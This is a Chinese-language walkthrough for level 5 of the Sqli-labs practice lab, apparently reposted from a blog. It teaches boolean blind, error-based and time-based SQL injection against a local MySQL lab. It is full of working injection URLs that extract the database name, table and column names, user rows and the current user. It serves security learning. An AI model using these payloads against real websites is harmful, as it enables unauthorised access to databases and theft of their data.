Sqli-labs less 5


Less-5

這里說一下,有很多的blog是翻譯或者copy的,這關正確的思路是盲注。從源代碼中可以看到,運行返回結果正確的時候只返回you are in....,不會返回數據庫當中的信息了,所以我們不能利用上述less1-4的方法

我們從這這一關開始學習盲注。結合background-2的信息,將上述能使用的payload展示一下使用方法。

  1. 利用 left(database(),1)進行嘗試

    http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23

    查看一下version(),數據庫的版本號為5.6.17,這里的語句的意思是看版本號的第一位是不是5,明顯的返回的結果是正確的。

    當版本號不正確的時候,則不能正確顯示 you are in......

    接下來看一下數據庫的長度

    http://127.0.0.1/sqllib/Less-5/?id=1%27and%20length(database())=8%23

    長度為8時,返回正確結果,說明長度為8.

    猜測數據庫第一位

    http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27--+

    Database()為security,所以我們看他的第一位是否 > a,很明顯的是s > a,因此返回正確。當我們不知情的情況下,可以用二分法來提高注入的效率。

     

    猜測數據庫第二位

    得知第一位為s,我們看前兩位是否大於 sa

    http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),2)%3E%27sa%27--+

    往下的請舉一反三,因有人問過此類問題,不知道該怎么進行第二位第三位。這里對於這個問題只講一次,以后就不會再說這個問題。要有自我思考的能力和意識。

  2. 利用substr() ascii()函數進行嘗試

    ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101

    根據以上得知數據庫名為security,那我們利用此方式獲取security數據庫下的表。

    獲取security數據庫的第一個表的第一個字符

    http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+

    Ps:此處table_schema可以寫成 ='security',但是我們這里使用的database(),是因為此處database()就是security。此處同樣的使用二分法進行測試,直到測試正確為止。

    此處應該是101,因為第一個表示email。

    如何獲取第一個表的第二位字符呢?

    這里我們已經了解了substr()函數,這里使用substr(**,2,1)即可。

    http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),2,1))%3E108--+

     

     

    那如何獲取第二個表呢?思考一下!

    這里可以看到我們上述的語句中使用的limit 0,1. 意思就是從第0個開始,獲取第一個。那要獲取第二個是不是就是limit 1,1!

    http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),1,1))%3E113--+

    此處113返回是正確的,因為第二個表示referers表,所以第一位就是r.

    以后的過程就是不斷的重復上面的,這里就不重復造輪子了。原理已經解釋清楚了。

    當你按照方法運行結束后,就可以獲取到所有的表的名字。

  3. 利用regexp獲取(2)中users表中的列

    http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_name%20regexp%20%27^us[a-z]%27%20limit%200,1)--+

    上述語句時選擇users表中的列名是否有us**的列

    http://127.0.0.1/sqllib/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+

    上圖中可以看到username存在。我們可以將username換成password等其他的項也是正確的。

     

  4. 利用ord()和mid()函數獲取users表的內容

    http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(username%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))=68--+

    獲取users表中的內容。獲取username中的第一行的第一個字符的ascii,與68進行比較,即為D。而我們從表中得知第一行的數據為Dumb。所以接下來只需要重復造輪子即可。

     

    總結:以上(1)(2)(3)(4)我們通過使用不同的語句,將通過布爾盲注SQL的所有的payload進行演示了一次。想必通過實例更能夠對sql布爾盲注語句熟悉和理解了。

     

    接下來,我們演示一下報錯注入和延時注入。

    (5)首先使用報錯注入

    http://127.0.0.1/sqllib/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

     

    利用double數值類型超出范圍進行報錯注入

    http://127.0.0.1/sqllib/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+

    利用bigint溢出進行報錯注入

    http://127.0.0.1/sqllib/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

    xpath函數報錯注入

    http://127.0.0.1/sqllib/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+

    http://127.0.0.1/sqllib/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

    利用數據的重復性

    http://127.0.0.1/sqllib/Less-5/?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

  5. 延時注入

    利用sleep()函數進行注入

    http://127.0.0.1/sqllib/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

    當錯誤的時候會有5秒的時間延時。

    利用BENCHMARK()進行延時注入

    http://127.0.0.1/sqllib/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

    當結果正確的時候,運行ENCODE('MSG','by 5 seconds')操作50000000次,會占用一段時間。

     

     

    至此,我們已經將上述講到的盲注的利用方法全部在less5中演示了一次。在后續的關卡中,將會挑一種進行演示,其他的盲注方法請參考less5.


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM